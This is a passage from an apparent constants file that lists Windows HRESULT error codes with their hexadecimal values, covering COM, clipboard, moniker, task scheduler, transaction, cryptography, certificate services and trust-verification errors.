CONVERT10_E_STG_DIB_TO_BITMAP = 0x800401C6
CLIPBRD_E_CANT_OPEN = 0x800401D0
CLIPBRD_E_CANT_EMPTY = 0x800401D1
CLIPBRD_E_CANT_SET = 0x800401D2
CLIPBRD_E_BAD_DATA = 0x800401D3
CLIPBRD_E_CANT_CLOSE = 0x800401D4
MK_E_CONNECTMANUALLY = 0x800401E0
MK_E_EXCEEDEDDEADLINE = 0x800401E1
MK_E_NEEDGENERIC = 0x800401E2
MK_E_UNAVAILABLE = 0x800401E3
MK_E_SYNTAX = 0x800401E4
MK_E_NOOBJECT = 0x800401E5
MK_E_INVALIDEXTENSION = 0x800401E6
MK_E_INTERMEDIATEINTERFACENOTSUPPORTED = 0x800401E7
MK_E_NOTBINDABLE = 0x800401E8
MK_E_NOTBOUND = 0x800401E9
MK_E_CANTOPENFILE = 0x800401EA
MK_E_MUSTBOTHERUSER = 0x800401EB
MK_E_NOINVERSE = 0x800401EC
MK_E_NOSTORAGE = 0x800401ED
MK_E_NOPREFIX = 0x800401EE
MK_E_ENUMERATION_FAILED = 0x800401EF
CO_E_NOTINITIALIZED = 0x800401F0
CO_E_ALREADYINITIALIZED = 0x800401F1
CO_E_CANTDETERMINECLASS = 0x800401F2
CO_E_CLASSSTRING = 0x800401F3
CO_E_IIDSTRING = 0x800401F4
CO_E_APPNOTFOUND = 0x800401F5
CO_E_APPSINGLEUSE = 0x800401F6
CO_E_ERRORINAPP = 0x800401F7
CO_E_DLLNOTFOUND = 0x800401F8
CO_E_ERRORINDLL = 0x800401F9
CO_E_WRONGOSFORAPP = 0x800401FA
CO_E_OBJNOTREG = 0x800401FB
CO_E_OBJISREG = 0x800401FC
CO_E_OBJNOTCONNECTED = 0x800401FD
CO_E_APPDIDNTREG = 0x800401FE
CO_E_RELEASED = 0x800401FF
EVENT_E_ALL_SUBSCRIBERS_FAILED = 0x80040201
EVENT_E_QUERYSYNTAX = 0x80040203
EVENT_E_QUERYFIELD = 0x80040204
EVENT_E_INTERNALEXCEPTION = 0x80040205
EVENT_E_INTERNALERROR = 0x80040206
EVENT_E_INVALID_PER_USER_SID = 0x80040207
EVENT_E_USER_EXCEPTION = 0x80040208
EVENT_E_TOO_MANY_METHODS = 0x80040209
EVENT_E_MISSING_EVENTCLASS = 0x8004020A
EVENT_E_NOT_ALL_REMOVED = 0x8004020B
EVENT_E_COMPLUS_NOT_INSTALLED = 0x8004020C
EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT = 0x8004020D
EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT = 0x8004020E
EVENT_E_INVALID_EVENT_CLASS_PARTITION = 0x8004020F
EVENT_E_PER_USER_SID_NOT_LOGGED_ON = 0x80040210
SCHED_E_TRIGGER_NOT_FOUND = 0x80041309
SCHED_E_TASK_NOT_READY = 0x8004130A
SCHED_E_TASK_NOT_RUNNING = 0x8004130B
SCHED_E_SERVICE_NOT_INSTALLED = 0x8004130C
SCHED_E_CANNOT_OPEN_TASK = 0x8004130D
SCHED_E_INVALID_TASK = 0x8004130E
SCHED_E_ACCOUNT_INFORMATION_NOT_SET = 0x8004130F
SCHED_E_ACCOUNT_NAME_NOT_FOUND = 0x80041310
SCHED_E_ACCOUNT_DBASE_CORRUPT = 0x80041311
SCHED_E_NO_SECURITY_SERVICES = 0x80041312
SCHED_E_UNKNOWN_OBJECT_VERSION = 0x80041313
SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = 0x80041314
SCHED_E_SERVICE_NOT_RUNNING = 0x80041315
SCHED_E_UNEXPECTEDNODE = 0x80041316
SCHED_E_NAMESPACE = 0x80041317
SCHED_E_INVALIDVALUE = 0x80041318
SCHED_E_MISSINGNODE = 0x80041319
SCHED_E_MALFORMEDXML = 0x8004131A
SCHED_E_TOO_MANY_NODES = 0x8004131D
SCHED_E_PAST_END_BOUNDARY = 0x8004131E
SCHED_E_ALREADY_RUNNING = 0x8004131F
SCHED_E_USER_NOT_LOGGED_ON = 0x80041320
SCHED_E_INVALID_TASK_HASH = 0x80041321
SCHED_E_SERVICE_NOT_AVAILABLE = 0x80041322
SCHED_E_SERVICE_TOO_BUSY = 0x80041323
SCHED_E_TASK_ATTEMPTED = 0x80041324
XACT_E_ALREADYOTHERSINGLEPHASE = 0x8004D000
XACT_E_CANTRETAIN = 0x8004D001
XACT_E_COMMITFAILED = 0x8004D002
XACT_E_COMMITPREVENTED = 0x8004D003
XACT_E_HEURISTICABORT = 0x8004D004
XACT_E_HEURISTICCOMMIT = 0x8004D005
XACT_E_HEURISTICDAMAGE = 0x8004D006
XACT_E_HEURISTICDANGER = 0x8004D007
XACT_E_ISOLATIONLEVEL = 0x8004D008
XACT_E_NOASYNC = 0x8004D009
XACT_E_NOENLIST = 0x8004D00A
XACT_E_NOISORETAIN = 0x8004D00B
XACT_E_NORESOURCE = 0x8004D00C
XACT_E_NOTCURRENT = 0x8004D00D
XACT_E_NOTRANSACTION = 0x8004D00E
XACT_E_NOTSUPPORTED = 0x8004D00F
XACT_E_UNKNOWNRMGRID = 0x8004D010
XACT_E_WRONGSTATE = 0x8004D011
XACT_E_WRONGUOW = 0x8004D012
XACT_E_XTIONEXISTS = 0x8004D013
XACT_E_NOIMPORTOBJECT = 0x8004D014
XACT_E_INVALIDCOOKIE = 0x8004D015
XACT_E_INDOUBT = 0x8004D016
XACT_E_NOTIMEOUT = 0x8004D017
XACT_E_ALREADYINPROGRESS = 0x8004D018
XACT_E_ABORTED = 0x8004D019
XACT_E_LOGFULL = 0x8004D01A
XACT_E_TMNOTAVAILABLE = 0x8004D01B
XACT_E_CONNECTION_DOWN = 0x8004D01C
XACT_E_CONNECTION_DENIED = 0x8004D01D
XACT_E_REENLISTTIMEOUT = 0x8004D01E
XACT_E_TIP_CONNECT_FAILED = 0x8004D01F
XACT_E_TIP_PROTOCOL_ERROR = 0x8004D020
XACT_E_TIP_PULL_FAILED = 0x8004D021
XACT_E_DEST_TMNOTAVAILABLE = 0x8004D022
XACT_E_TIP_DISABLED = 0x8004D023
XACT_E_NETWORK_TX_DISABLED = 0x8004D024
XACT_E_PARTNER_NETWORK_TX_DISABLED = 0x8004D025
XACT_E_XA_TX_DISABLED = 0x8004D026
XACT_E_UNABLE_TO_READ_DTC_CONFIG = 0x8004D027
XACT_E_UNABLE_TO_LOAD_DTC_PROXY = 0x8004D028
XACT_E_ABORTING = 0x8004D029
XACT_E_CLERKNOTFOUND = 0x8004D080
XACT_E_CLERKEXISTS = 0x8004D081
XACT_E_RECOVERYINPROGRESS = 0x8004D082
XACT_E_TRANSACTIONCLOSED = 0x8004D083
XACT_E_INVALIDLSN = 0x8004D084
XACT_E_REPLAYREQUEST = 0x8004D085
XACT_E_CONNECTION_REQUEST_DENIED = 0x8004D100
XACT_E_TOOMANY_ENLISTMENTS = 0x8004D101
XACT_E_DUPLICATE_GUID = 0x8004D102
XACT_E_NOTSINGLEPHASE = 0x8004D103
XACT_E_RECOVERYALREADYDONE = 0x8004D104
XACT_E_PROTOCOL = 0x8004D105
XACT_E_RM_FAILURE = 0x8004D106
XACT_E_RECOVERY_FAILED = 0x8004D107
XACT_E_LU_NOT_FOUND = 0x8004D108
XACT_E_DUPLICATE_LU = 0x8004D109
XACT_E_LU_NOT_CONNECTED = 0x8004D10A
XACT_E_DUPLICATE_TRANSID = 0x8004D10B
XACT_E_LU_BUSY = 0x8004D10C
XACT_E_LU_NO_RECOVERY_PROCESS = 0x8004D10D
XACT_E_LU_DOWN = 0x8004D10E
XACT_E_LU_RECOVERING = 0x8004D10F
XACT_E_LU_RECOVERY_MISMATCH = 0x8004D110
XACT_E_RM_UNAVAILABLE = 0x8004D111
CONTEXT_E_ABORTED = 0x8004E002
CONTEXT_E_ABORTING = 0x8004E003
CONTEXT_E_NOCONTEXT = 0x8004E004
CONTEXT_E_WOULD_DEADLOCK = 0x8004E005
CONTEXT_E_SYNCH_TIMEOUT = 0x8004E006
CONTEXT_E_OLDREF = 0x8004E007
CONTEXT_E_ROLENOTFOUND = 0x8004E00C
CONTEXT_E_TMNOTAVAILABLE = 0x8004E00F
CO_E_ACTIVATIONFAILED = 0x8004E021
CO_E_ACTIVATIONFAILED_EVENTLOGGED = 0x8004E022
CO_E_ACTIVATIONFAILED_CATALOGERROR = 0x8004E023
CO_E_ACTIVATIONFAILED_TIMEOUT = 0x8004E024
CO_E_INITIALIZATIONFAILED = 0x8004E025
CONTEXT_E_NOJIT = 0x8004E026
CONTEXT_E_NOTRANSACTION = 0x8004E027
CO_E_THREADINGMODEL_CHANGED = 0x8004E028
CO_E_NOIISINTRINSICS = 0x8004E029
CO_E_NOCOOKIES = 0x8004E02A
CO_E_DBERROR = 0x8004E02B
CO_E_NOTPOOLED = 0x8004E02C
CO_E_NOTCONSTRUCTED = 0x8004E02D
CO_E_NOSYNCHRONIZATION = 0x8004E02E
CO_E_ISOLEVELMISMATCH = 0x8004E02F
CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED = 0x8004E030
CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED = 0x8004E031
E_ACCESSDENIED = 0x80070005
E_OUTOFMEMORY = 0x8007000E
ERROR_NOT_SUPPORTED = 0x80070032
E_INVALIDARG = 0x80070057
CO_E_CLASS_CREATE_FAILED = 0x80080001
CO_E_SCM_ERROR = 0x80080002
CO_E_SCM_RPC_FAILURE = 0x80080003
CO_E_BAD_PATH = 0x80080004
CO_E_SERVER_EXEC_FAILURE = 0x80080005
CO_E_OBJSRV_RPC_FAILURE = 0x80080006
MK_E_NO_NORMALIZED = 0x80080007
CO_E_SERVER_STOPPING = 0x80080008
MEM_E_INVALID_ROOT = 0x80080009
MEM_E_INVALID_LINK = 0x80080010
MEM_E_INVALID_SIZE = 0x80080011
CO_E_MISSING_DISPLAYNAME = 0x80080015
CO_E_RUNAS_VALUE_MUST_BE_AAA = 0x80080016
CO_E_ELEVATION_DISABLED = 0x80080017
NTE_BAD_UID = 0x80090001
NTE_BAD_HASH = 0x80090002
NTE_BAD_KEY = 0x80090003
NTE_BAD_LEN = 0x80090004
NTE_BAD_DATA = 0x80090005
NTE_BAD_SIGNATURE = 0x80090006
NTE_BAD_VER = 0x80090007
NTE_BAD_ALGID = 0x80090008
NTE_BAD_FLAGS = 0x80090009
NTE_BAD_TYPE = 0x8009000A
NTE_BAD_KEY_STATE = 0x8009000B
NTE_BAD_HASH_STATE = 0x8009000C
NTE_NO_KEY = 0x8009000D
NTE_NO_MEMORY = 0x8009000E
NTE_EXISTS = 0x8009000F
NTE_PERM = 0x80090010
NTE_NOT_FOUND = 0x80090011
NTE_DOUBLE_ENCRYPT = 0x80090012
NTE_BAD_PROVIDER = 0x80090013
NTE_BAD_PROV_TYPE = 0x80090014
NTE_BAD_PUBLIC_KEY = 0x80090015
NTE_BAD_KEYSET = 0x80090016
NTE_PROV_TYPE_NOT_DEF = 0x80090017
NTE_PROV_TYPE_ENTRY_BAD = 0x80090018
NTE_KEYSET_NOT_DEF = 0x80090019
NTE_KEYSET_ENTRY_BAD = 0x8009001A
NTE_PROV_TYPE_NO_MATCH = 0x8009001B
NTE_SIGNATURE_FILE_BAD = 0x8009001C
NTE_PROVIDER_DLL_FAIL = 0x8009001D
NTE_PROV_DLL_NOT_FOUND = 0x8009001E
NTE_BAD_KEYSET_PARAM = 0x8009001F
NTE_FAIL = 0x80090020
NTE_SYS_ERR = 0x80090021
NTE_SILENT_CONTEXT = 0x80090022
NTE_TOKEN_KEYSET_STORAGE_FULL = 0x80090023
NTE_TEMPORARY_PROFILE = 0x80090024
NTE_FIXEDPARAMETER = 0x80090025
NTE_INVALID_HANDLE = 0x80090026
NTE_INVALID_PARAMETER = 0x80090027
NTE_BUFFER_TOO_SMALL = 0x80090028
NTE_NOT_SUPPORTED = 0x80090029
NTE_NO_MORE_ITEMS = 0x8009002A
NTE_BUFFERS_OVERLAP = 0x8009002B
NTE_DECRYPTION_FAILURE = 0x8009002C
NTE_INTERNAL_ERROR = 0x8009002D
NTE_UI_REQUIRED = 0x8009002E
NTE_HMAC_NOT_SUPPORTED = 0x8009002F
SEC_E_INSUFFICIENT_MEMORY = 0x80090300
SEC_E_INVALID_HANDLE = 0x80090301
SEC_E_UNSUPPORTED_FUNCTION = 0x80090302
SEC_E_TARGET_UNKNOWN = 0x80090303
SEC_E_INTERNAL_ERROR = 0x80090304
SEC_E_SECPKG_NOT_FOUND = 0x80090305
SEC_E_NOT_OWNER = 0x80090306
SEC_E_CANNOT_INSTALL = 0x80090307
SEC_E_INVALID_TOKEN = 0x80090308
SEC_E_CANNOT_PACK = 0x80090309
SEC_E_QOP_NOT_SUPPORTED = 0x8009030A
SEC_E_NO_IMPERSONATION = 0x8009030B
SEC_E_LOGON_DENIED = 0x8009030C
SEC_E_UNKNOWN_CREDENTIALS = 0x8009030D
SEC_E_NO_CREDENTIALS = 0x8009030E
SEC_E_MESSAGE_ALTERED = 0x8009030F
SEC_E_OUT_OF_SEQUENCE = 0x80090310
SEC_E_NO_AUTHENTICATING_AUTHORITY = 0x80090311
SEC_E_BAD_PKGID = 0x80090316
SEC_E_CONTEXT_EXPIRED = 0x80090317
SEC_E_INCOMPLETE_MESSAGE = 0x80090318
SEC_E_INCOMPLETE_CREDENTIALS = 0x80090320
SEC_E_BUFFER_TOO_SMALL = 0x80090321
SEC_E_WRONG_PRINCIPAL = 0x80090322
SEC_E_TIME_SKEW = 0x80090324
SEC_E_UNTRUSTED_ROOT = 0x80090325
SEC_E_ILLEGAL_MESSAGE = 0x80090326
SEC_E_CERT_UNKNOWN = 0x80090327
SEC_E_CERT_EXPIRED = 0x80090328
SEC_E_ENCRYPT_FAILURE = 0x80090329
SEC_E_DECRYPT_FAILURE = 0x80090330
SEC_E_ALGORITHM_MISMATCH = 0x80090331
SEC_E_SECURITY_QOS_FAILED = 0x80090332
SEC_E_UNFINISHED_CONTEXT_DELETED = 0x80090333
SEC_E_NO_TGT_REPLY = 0x80090334
SEC_E_NO_IP_ADDRESSES = 0x80090335
SEC_E_WRONG_CREDENTIAL_HANDLE = 0x80090336
SEC_E_CRYPTO_SYSTEM_INVALID = 0x80090337
SEC_E_MAX_REFERRALS_EXCEEDED = 0x80090338
SEC_E_MUST_BE_KDC = 0x80090339
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A
SEC_E_TOO_MANY_PRINCIPALS = 0x8009033B
SEC_E_NO_PA_DATA = 0x8009033C
SEC_E_PKINIT_NAME_MISMATCH = 0x8009033D
SEC_E_SMARTCARD_LOGON_REQUIRED = 0x8009033E
SEC_E_SHUTDOWN_IN_PROGRESS = 0x8009033F
SEC_E_KDC_INVALID_REQUEST = 0x80090340
SEC_E_KDC_UNABLE_TO_REFER = 0x80090341
SEC_E_KDC_UNKNOWN_ETYPE = 0x80090342
SEC_E_UNSUPPORTED_PREAUTH = 0x80090343
SEC_E_DELEGATION_REQUIRED = 0x80090345
SEC_E_BAD_BINDINGS = 0x80090346
SEC_E_MULTIPLE_ACCOUNTS = 0x80090347
SEC_E_NO_KERB_KEY = 0x80090348
SEC_E_CERT_WRONG_USAGE = 0x80090349
SEC_E_DOWNGRADE_DETECTED = 0x80090350
SEC_E_SMARTCARD_CERT_REVOKED = 0x80090351
SEC_E_ISSUING_CA_UNTRUSTED = 0x80090352
SEC_E_REVOCATION_OFFLINE_C = 0x80090353
SEC_E_PKINIT_CLIENT_FAILURE = 0x80090354
SEC_E_SMARTCARD_CERT_EXPIRED = 0x80090355
SEC_E_NO_S4U_PROT_SUPPORT = 0x80090356
SEC_E_CROSSREALM_DELEGATION_FAILURE = 0x80090357
SEC_E_REVOCATION_OFFLINE_KDC = 0x80090358
SEC_E_ISSUING_CA_UNTRUSTED_KDC = 0x80090359
SEC_E_KDC_CERT_EXPIRED = 0x8009035A
SEC_E_KDC_CERT_REVOKED = 0x8009035B
SEC_E_INVALID_PARAMETER = 0x8009035D
SEC_E_DELEGATION_POLICY = 0x8009035E
SEC_E_POLICY_NLTM_ONLY = 0x8009035F
CRYPT_E_MSG_ERROR = 0x80091001
CRYPT_E_UNKNOWN_ALGO = 0x80091002
CRYPT_E_OID_FORMAT = 0x80091003
CRYPT_E_INVALID_MSG_TYPE = 0x80091004
CRYPT_E_UNEXPECTED_ENCODING = 0x80091005
CRYPT_E_AUTH_ATTR_MISSING = 0x80091006
CRYPT_E_HASH_VALUE = 0x80091007
CRYPT_E_INVALID_INDEX = 0x80091008
CRYPT_E_ALREADY_DECRYPTED = 0x80091009
CRYPT_E_NOT_DECRYPTED = 0x8009100A
CRYPT_E_RECIPIENT_NOT_FOUND = 0x8009100B
CRYPT_E_CONTROL_TYPE = 0x8009100C
CRYPT_E_ISSUER_SERIALNUMBER = 0x8009100D
CRYPT_E_SIGNER_NOT_FOUND = 0x8009100E
CRYPT_E_ATTRIBUTES_MISSING = 0x8009100F
CRYPT_E_STREAM_MSG_NOT_READY = 0x80091010
CRYPT_E_STREAM_INSUFFICIENT_DATA = 0x80091011
CRYPT_E_BAD_LEN = 0x80092001
CRYPT_E_BAD_ENCODE = 0x80092002
CRYPT_E_FILE_ERROR = 0x80092003
CRYPT_E_NOT_FOUND = 0x80092004
CRYPT_E_EXISTS = 0x80092005
CRYPT_E_NO_PROVIDER = 0x80092006
CRYPT_E_SELF_SIGNED = 0x80092007
CRYPT_E_DELETED_PREV = 0x80092008
CRYPT_E_NO_MATCH = 0x80092009
CRYPT_E_UNEXPECTED_MSG_TYPE = 0x8009200A
CRYPT_E_NO_KEY_PROPERTY = 0x8009200B
CRYPT_E_NO_DECRYPT_CERT = 0x8009200C
CRYPT_E_BAD_MSG = 0x8009200D
CRYPT_E_NO_SIGNER = 0x8009200E
CRYPT_E_PENDING_CLOSE = 0x8009200F
CRYPT_E_REVOKED = 0x80092010
CRYPT_E_NO_REVOCATION_DLL = 0x80092011
CRYPT_E_NO_REVOCATION_CHECK = 0x80092012
CRYPT_E_REVOCATION_OFFLINE = 0x80092013
CRYPT_E_NOT_IN_REVOCATION_DATABASE = 0x80092014
CRYPT_E_INVALID_NUMERIC_STRING = 0x80092020
CRYPT_E_INVALID_PRINTABLE_STRING = 0x80092021
CRYPT_E_INVALID_IA5_STRING = 0x80092022
CRYPT_E_INVALID_X500_STRING = 0x80092023
CRYPT_E_NOT_CHAR_STRING = 0x80092024
CRYPT_E_FILERESIZED = 0x80092025
CRYPT_E_SECURITY_SETTINGS = 0x80092026
CRYPT_E_NO_VERIFY_USAGE_DLL = 0x80092027
CRYPT_E_NO_VERIFY_USAGE_CHECK = 0x80092028
CRYPT_E_VERIFY_USAGE_OFFLINE = 0x80092029
CRYPT_E_NOT_IN_CTL = 0x8009202A
CRYPT_E_NO_TRUSTED_SIGNER = 0x8009202B
CRYPT_E_MISSING_PUBKEY_PARA = 0x8009202C
CRYPT_E_OSS_ERROR = 0x80093000
OSS_MORE_BUF = 0x80093001
OSS_NEGATIVE_UINTEGER = 0x80093002
OSS_PDU_RANGE = 0x80093003
OSS_MORE_INPUT = 0x80093004
OSS_DATA_ERROR = 0x80093005
OSS_BAD_ARG = 0x80093006
OSS_BAD_VERSION = 0x80093007
OSS_OUT_MEMORY = 0x80093008
OSS_PDU_MISMATCH = 0x80093009
OSS_LIMITED = 0x8009300A
OSS_BAD_PTR = 0x8009300B
OSS_BAD_TIME = 0x8009300C
OSS_INDEFINITE_NOT_SUPPORTED = 0x8009300D
OSS_MEM_ERROR = 0x8009300E
OSS_BAD_TABLE = 0x8009300F
OSS_TOO_LONG = 0x80093010
OSS_CONSTRAINT_VIOLATED = 0x80093011
OSS_FATAL_ERROR = 0x80093012
OSS_ACCESS_SERIALIZATION_ERROR = 0x80093013
OSS_NULL_TBL = 0x80093014
OSS_NULL_FCN = 0x80093015
OSS_BAD_ENCRULES = 0x80093016
OSS_UNAVAIL_ENCRULES = 0x80093017
OSS_CANT_OPEN_TRACE_WINDOW = 0x80093018
OSS_UNIMPLEMENTED = 0x80093019
OSS_OID_DLL_NOT_LINKED = 0x8009301A
OSS_CANT_OPEN_TRACE_FILE = 0x8009301B
OSS_TRACE_FILE_ALREADY_OPEN = 0x8009301C
OSS_TABLE_MISMATCH = 0x8009301D
OSS_TYPE_NOT_SUPPORTED = 0x8009301E
OSS_REAL_DLL_NOT_LINKED = 0x8009301F
OSS_REAL_CODE_NOT_LINKED = 0x80093020
OSS_OUT_OF_RANGE = 0x80093021
OSS_COPIER_DLL_NOT_LINKED = 0x80093022
OSS_CONSTRAINT_DLL_NOT_LINKED = 0x80093023
OSS_COMPARATOR_DLL_NOT_LINKED = 0x80093024
OSS_COMPARATOR_CODE_NOT_LINKED = 0x80093025
OSS_MEM_MGR_DLL_NOT_LINKED = 0x80093026
OSS_PDV_DLL_NOT_LINKED = 0x80093027
OSS_PDV_CODE_NOT_LINKED = 0x80093028
OSS_API_DLL_NOT_LINKED = 0x80093029
OSS_BERDER_DLL_NOT_LINKED = 0x8009302A
OSS_PER_DLL_NOT_LINKED = 0x8009302B
OSS_OPEN_TYPE_ERROR = 0x8009302C
OSS_MUTEX_NOT_CREATED = 0x8009302D
OSS_CANT_CLOSE_TRACE_FILE = 0x8009302E
CRYPT_E_ASN1_ERROR = 0x80093100
CRYPT_E_ASN1_INTERNAL = 0x80093101
CRYPT_E_ASN1_EOD = 0x80093102
CRYPT_E_ASN1_CORRUPT = 0x80093103
CRYPT_E_ASN1_LARGE = 0x80093104
CRYPT_E_ASN1_CONSTRAINT = 0x80093105
CRYPT_E_ASN1_MEMORY = 0x80093106
CRYPT_E_ASN1_OVERFLOW = 0x80093107
CRYPT_E_ASN1_BADPDU = 0x80093108
CRYPT_E_ASN1_BADARGS = 0x80093109
CRYPT_E_ASN1_BADREAL = 0x8009310A
CRYPT_E_ASN1_BADTAG = 0x8009310B
CRYPT_E_ASN1_CHOICE = 0x8009310C
CRYPT_E_ASN1_RULE = 0x8009310D
CRYPT_E_ASN1_UTF8 = 0x8009310E
CRYPT_E_ASN1_PDU_TYPE = 0x80093133
CRYPT_E_ASN1_NYI = 0x80093134
CRYPT_E_ASN1_EXTENDED = 0x80093201
CRYPT_E_ASN1_NOEOD = 0x80093202
CERTSRV_E_BAD_REQUESTSUBJECT = 0x80094001
CERTSRV_E_NO_REQUEST = 0x80094002
CERTSRV_E_BAD_REQUESTSTATUS = 0x80094003
CERTSRV_E_PROPERTY_EMPTY = 0x80094004
CERTSRV_E_INVALID_CA_CERTIFICATE = 0x80094005
CERTSRV_E_SERVER_SUSPENDED = 0x80094006
CERTSRV_E_ENCODING_LENGTH = 0x80094007
CERTSRV_E_ROLECONFLICT = 0x80094008
CERTSRV_E_RESTRICTEDOFFICER = 0x80094009
CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED = 0x8009400A
CERTSRV_E_NO_VALID_KRA = 0x8009400B
CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL = 0x8009400C
CERTSRV_E_NO_CAADMIN_DEFINED = 0x8009400D
CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE = 0x8009400E
CERTSRV_E_NO_DB_SESSIONS = 0x8009400F
CERTSRV_E_ALIGNMENT_FAULT = 0x80094010
CERTSRV_E_ENROLL_DENIED = 0x80094011
CERTSRV_E_TEMPLATE_DENIED = 0x80094012
CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE = 0x80094013
CERTSRV_E_UNSUPPORTED_CERT_TYPE = 0x80094800
CERTSRV_E_NO_CERT_TYPE = 0x80094801
CERTSRV_E_TEMPLATE_CONFLICT = 0x80094802
CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED = 0x80094803
CERTSRV_E_ARCHIVED_KEY_REQUIRED = 0x80094804
CERTSRV_E_SMIME_REQUIRED = 0x80094805
CERTSRV_E_BAD_RENEWAL_SUBJECT = 0x80094806
CERTSRV_E_BAD_TEMPLATE_VERSION = 0x80094807
CERTSRV_E_TEMPLATE_POLICY_REQUIRED = 0x80094808
CERTSRV_E_SIGNATURE_POLICY_REQUIRED = 0x80094809
CERTSRV_E_SIGNATURE_COUNT = 0x8009480A
CERTSRV_E_SIGNATURE_REJECTED = 0x8009480B
CERTSRV_E_ISSUANCE_POLICY_REQUIRED = 0x8009480C
CERTSRV_E_SUBJECT_UPN_REQUIRED = 0x8009480D
CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED = 0x8009480E
CERTSRV_E_SUBJECT_DNS_REQUIRED = 0x8009480F
CERTSRV_E_ARCHIVED_KEY_UNEXPECTED = 0x80094810
CERTSRV_E_KEY_LENGTH = 0x80094811
CERTSRV_E_SUBJECT_EMAIL_REQUIRED = 0x80094812
CERTSRV_E_UNKNOWN_CERT_TYPE = 0x80094813
CERTSRV_E_CERT_TYPE_OVERLAP = 0x80094814
CERTSRV_E_TOO_MANY_SIGNATURES = 0x80094815
CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY = 0x80094816
CERTSRV_E_INVALID_EK = 0x80094817
CERTSRV_E_KEY_ATTESTATION = 0x8009481A
XENROLL_E_KEY_NOT_EXPORTABLE = 0x80095000
XENROLL_E_CANNOT_ADD_ROOT_CERT = 0x80095001
XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND = 0x80095002
XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH = 0x80095003
XENROLL_E_RESPONSE_KA_HASH_MISMATCH = 0x80095004
XENROLL_E_KEYSPEC_SMIME_MISMATCH = 0x80095005
TRUST_E_SYSTEM_ERROR = 0x80096001
TRUST_E_NO_SIGNER_CERT = 0x80096002
TRUST_E_COUNTER_SIGNER = 0x80096003
TRUST_E_CERT_SIGNATURE = 0x80096004
TRUST_E_TIME_STAMP = 0x80096005
TRUST_E_BAD_DIGEST = 0x80096010
TRUST_E_BASIC_CONSTRAINTS = 0x80096019
TRUST_E_FINANCIAL_CRITERIA = 0x8009601E
MSSIPOTF_E_OUTOFMEMRANGE = 0x80097001
MSSIPOTF_E_CANTGETOBJECT = 0x80097002
MSSIPOTF_E_NOHEADTABLE = 0x80097003
MSSIPOTF_E_BAD_MAGICNUMBER = 0x80097004
MSSIPOTF_E_BAD_OFFSET_TABLE = 0x80097005
MSSIPOTF_E_TABLE_TAGORDER = 0x80097006
MSSIPOTF_E_TABLE_LONGWORD = 0x80097007
MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT = 0x80097008
MSSIPOTF_E_TABLES_OVERLAP = 0x80097009
MSSIPOTF_E_TABLE_PADBYTES = 0x8009700A
MSSIPOTF_E_FILETOOSMALL = 0x8009700B
MSSIPOTF_E_TABLE_CHECKSUM = 0x8009700C
MSSIPOTF_E_FILE_CHECKSUM = 0x8009700D
MSSIPOTF_E_FAILED_POLICY = 0x80097010
MSSIPOTF_E_FAILED_HINTS_CHECK = 0x80097011
MSSIPOTF_E_NOT_OPENTYPE = 0x80097012
MSSIPOTF_E_FILE = 0x80097013
MSSIPOTF_E_CRYPT = 0x80097014
MSSIPOTF_E_BADVERSION = 0x80097015
MSSIPOTF_E_DSIG_STRUCTURE = 0x80097016
MSSIPOTF_E_PCONST_CHECK = 0x80097017
MSSIPOTF_E_STRUCTURE = 0x80097018
ERROR_CRED_REQUIRES_CONFIRMATION = 0x80097019
TRUST_E_PROVIDER_UNKNOWN = 0x800B0001
TRUST_E_ACTION_UNKNOWN = 0x800B0002
TRUST_E_SUBJECT_FORM_UNKNOWN = 0x800B0003
TRUST_E_SUBJECT_NOT_TRUSTED = 0x800B0004
DIGSIG_E_ENCODE = 0x800B0005
DIGSIG_E_DECODE = 0x800B0006
DIGSIG_E_EXTENSIBILITY = 0x800B0007
DIGSIG_E_CRYPTO = 0x800B0008
PERSIST_E_SIZEDEFINITE = 0x800B0009
PERSIST_E_SIZEINDEFINITE = 0x800B000A
PERSIST_E_NOTSELFSIZING = 0x800B000B
TRUST_E_NOSIGNATURE = 0x800B0100
CERT_E_EXPIRED = 0x800B0101
CERT_E_VALIDITYPERIODNESTING = 0x800B0102
CERT_E_ROLE = 0x800B0103
CERT_E_PATHLENCONST = 0x800B0104
CERT_E_CRITICAL = 0x800B0105
CERT_E_PURPOSE = 0x800B0106
CERT_E_ISSUERCHAINING = 0x800B0107
CERT_E_MALFORMED = 0x800B0108
CERT_E_UNTRUSTEDROOT = 0x800B0109
CERT_E_CHAINING = 0x800B010A
TRUST_E_FAIL = 0x800B010B
CERT_E_REVOKED = 0x800B010C
CERT_E_UNTRUSTEDTESTROOT = 0x800B010D
CERT_E_REVOCATION_FAILURE = 0x800B010E
CERT_E_CN_NO_MATCH = 0x800B010F
CERT_E_WRONG_USAGE = 0x800B0110
TRUST_E_EXPLICIT_DISTRUST = 0x800B0111
CERT_E_UNTRUSTEDCA = 0x800B0112
CERT_E_INVALID_POLICY = 0x800B0113
CERT_E_INVALID_NAME = 0x800B0114
NS_W_SERVER_BANDWIDTH_LIMIT = 0x800D0003
NS_W_FILE_BANDWIDTH_LIMIT = 0x800D0004
NS_W_UNKNOWN_EVENT = 0x800D0060
NS_I_CATATONIC_FAILURE = 0x800D0199
NS_I_CATATONIC_AUTO_UNFAIL = 0x800D019A
SPAPI_E_EXPECTED_SECTION_NAME = 0x800F0000
SPAPI_E_BAD_SECTION_NAME_LINE = 0x800F0001
SPAPI_E_SECTION_NAME_TOO_LONG = 0x800F0002
SPAPI_E_GENERAL_SYNTAX = 0x800F0003
SPAPI_E_WRONG_INF_STYLE = 0x800F0100
SPAPI_E_SECTION_NOT_FOUND = 0x800F0101
SPAPI_E_LINE_NOT_FOUND = 0x800F0102
SPAPI_E_NO_BACKUP = 0x800F0103
SPAPI_E_NO_ASSOCIATED_CLASS = 0x800F0200
